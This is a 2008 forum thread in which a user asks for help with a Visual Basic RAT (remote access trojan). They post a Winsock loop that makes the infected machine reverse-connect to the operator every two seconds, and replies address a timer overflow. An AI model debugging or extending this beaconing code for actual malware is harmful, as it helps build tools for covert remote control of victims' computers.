I am trying to code a RAT at the moment. I wanted to do a reverse connection so that the server will connect to me so there is little chance of the connection being rejected because i will accept it. I have the code to connect and send data but i have a problem. The server needs to send a connection request to the client ip address every second or maybe every 2 seconds. I can get it to work when it only sends one request but if the client is not open then the connection will be rejected and it will end. This is the code to have to check for a connection then send another request and pause for 2 seconds:
[codebox]Connect:
If wsck.State <> sckConnected Then
wsck.Close
wsck.Connect RemoteHost, RemotePort
Else
wsck.SendData "connected"
goto Success
End If
Pause (2)
GoTo Connect
Success:
(End Sub)[/codebox]
And the code i have for the pause function is:
[codebox]Public Sub Pause(seconds)
Dim CurrentTime As Integer
CurrentTime = Timer
Do
DoEvents
Loop Until CurrentTime + seconds <= Timer
End Sub
[/codebox]
I get an error on the line:
[code]CurrentTime = Timer[/code]
That says: Overflow
I'm not sure if this is the only problem because when i used Sleep(1000) the program didn't work at all.
Thanks in advance.
Sponsored by: █ Sparkhost - Hosting Without Compromises! █ Hybrid Performance Web Hosting █ Spark Host Stream Hosting █ Hybrid IRC & IRCd Server Shell Accounts
Problem with Reverse Connection
Started by
hacked47
, May 26 2008 10:00 AM
3 replies to this topic
#1
Posted 26 May 2008 - 10:00 AM
#2
Posted 26 May 2008 - 10:09 AM
Where did u declare "Timer" ?
#3
Posted 26 May 2008 - 10:19 AM
Where did u declare "Timer" ?
Damn i feel stupid. I defined that now as an integer, but it still wont connect, im not sure if the Pause function is even working. I just open both the client and server and wait for the connection message to be send but it doesn't, and i can't send commands from client to server either.
EDIT: I have done the timer part completely wrong, here is the code that it should be, from pscode.com
Public Sub Pause(seconds)Dim CurrentTimer As LongCurrentTimer = TimerDoIf CurrentTimer > Timer ThenCurrentTimer = CurrentTimer - 86400End IfDoEventsLoop Until CurrentTimer + Seconds <= TimerEnd Sub
I think the timer now works, it eats up a lot of CPU but it works, I just dont understand why the server still will not connect to the client, will someone tell me what is wrong with my code?
#4
Posted 22 July 2008 - 01:51 AM
your code seems ok, sure it isnt your server code thats the probem?
0 user(s) are reading this topic
0 members, 0 guests, 0 anonymous users












